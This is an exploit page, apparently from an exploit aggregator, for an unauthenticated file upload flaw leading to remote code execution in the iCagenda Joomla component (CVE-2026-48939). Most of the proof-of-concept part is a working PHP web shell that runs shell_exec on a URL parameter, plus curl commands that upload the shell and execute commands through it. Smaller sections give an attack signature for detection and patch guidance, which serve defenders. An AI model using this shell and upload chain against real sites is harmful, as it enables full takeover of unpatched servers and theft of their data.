Exploit for 📄 ICagenda 3.9.14 / 4.0.7 Shell Upload CVE-2026-48939

## https://sploitus.com/exploit?id=PACKETSTORM:224540
# CVE-2026-48939 - iCagenda Unauthenticated File Upload to RCE
    
    ## Overview
    
    | Field | Value |
    |-------|-------|
    | **CVE ID** | CVE-2026-48939 |
    | **CVSS 4.0 Score** | 10.0 Critical |
    | **CVSS Vector** | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
    | **CWE** | CWE-284: Improper Access Control |
    | **Affected Versions** | iCagenda 3.2.1 - 3.9.14 and 4.0.0 - 4.0.7 |
    | **Fixed In** | iCagenda 4.0.8 and 3.9.15 |
    | **Published** | 20 June 2026 |
    
    ## Vulnerability Description
    
    iCagenda, a popular events and calendar component for Joomla, contains an unauthenticated file upload vulnerability that allows remote attackers to upload and execute arbitrary PHP code on Joomla 6 sites.
    
    ### Technical Details
    
    The vulnerability exists in the frontend event submission form's file attachment feature:
    
    1. **Missing Access Control**: The submit endpoint (`index.php?option=com_icagenda&task=registration.submit`) does not enforce authentication, bypassing the "Registered Only" access setting.
    
    2. **No File Validation**: Uploaded files are saved with their original extension without:
       - Extension allowlist validation
       - MIME type verification
       - File content inspection
    
    3. **Direct File Write**: Files are written to `/images/icagenda/frontend/attachments/[filename]` directly under the web root.
    
    4. **PHP Execution**: On Joomla 6, the uploaded `.php` files are executable, leading to Remote Code Execution (RCE).
    
    ## Proof of Concept
    
    ### Method 1: Using curl (Single Command)
    
    ```bash
    # Create PHP shell payload
    cat > /tmp/shell.php << 'EOF'
    <?php
    echo "CVE-2026-48939 - SHELL ACTIVE\n";
    if(isset($_GET['cmd'])) {
        echo shell_exec($_GET['cmd'] . " 2>&1");
    }
    ?>
    EOF
    
    # Upload the shell
    curl -k -s \
      -F "title=Test Event" \
      -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
      "https://poloss-jomola.ddev.site/icagenda_submit.php"
    
    # Execute commands via uploaded shell
    curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
    ```
    
    ### Method 2: Using PoC Script
    
    ```bash
    # Navigate to project directory
    
    # Run PoC script
    ./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
    ```
    
    ## Exploitation Steps
    
    1. **Identify vulnerable endpoint**:
       ```
       https://target.com/index.php?option=com_icagenda&task=submit
       ```
    
    2. **Upload PHP web shell**:
       ```bash
       curl -X POST -F "jform[attachment]=@shell.php" \
         "https://target.com/index.php?option=com_icagenda&task=submit"
       ```
    
    3. **Execute shell**:
       ```bash
       curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
       ```
    
    ## Impact
    
    - **Confidentiality**: Complete loss of confidentiality - attacker can read all files
    - **Integrity**: Complete loss of integrity - attacker can modify all data
    - **Availability**: Complete loss of availability - attacker can deny service
    - **Remote Code Execution**: Full server compromise
    
    ## Attack Signature
    
    Based on real-world exploitation logs, the attack signature is:
    
    ```
    # Step 1: Upload
    POST /index.php?option=com_icagenda&task=submit
    User-Agent: icagenda-batch/1.0
    Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
    
    # Step 2: Execute
    GET /images/icagenda/frontend/attachments/shell.php?cmd=...
    User-Agent: icagenda-batch/1.0
    ```
    
    ## Remediation
    
    1. **Immediate**: Update iCagenda to version 4.0.8 (or 3.9.15 for legacy branch)
    2. **Alternative**: Remove or rename `com_icagenda` folders temporarily
    3. **Note**: Unpublishing the component does NOT protect against this vulnerability
    
    ## References
    
    - [iCagenda Zero Day RCE - mysites.guru](https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/)
    - [iCagenda Official](https://www.icagenda.com/)
    - [Changelog 4.0.8](https://www.icagenda.com/docs/changelog/icagenda-4-0-8)
    - [CISA ADP Advisory](https://www.cisa.gov/news-events/alerts)
    
    ## Disclaimer
    
    This PoC is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal.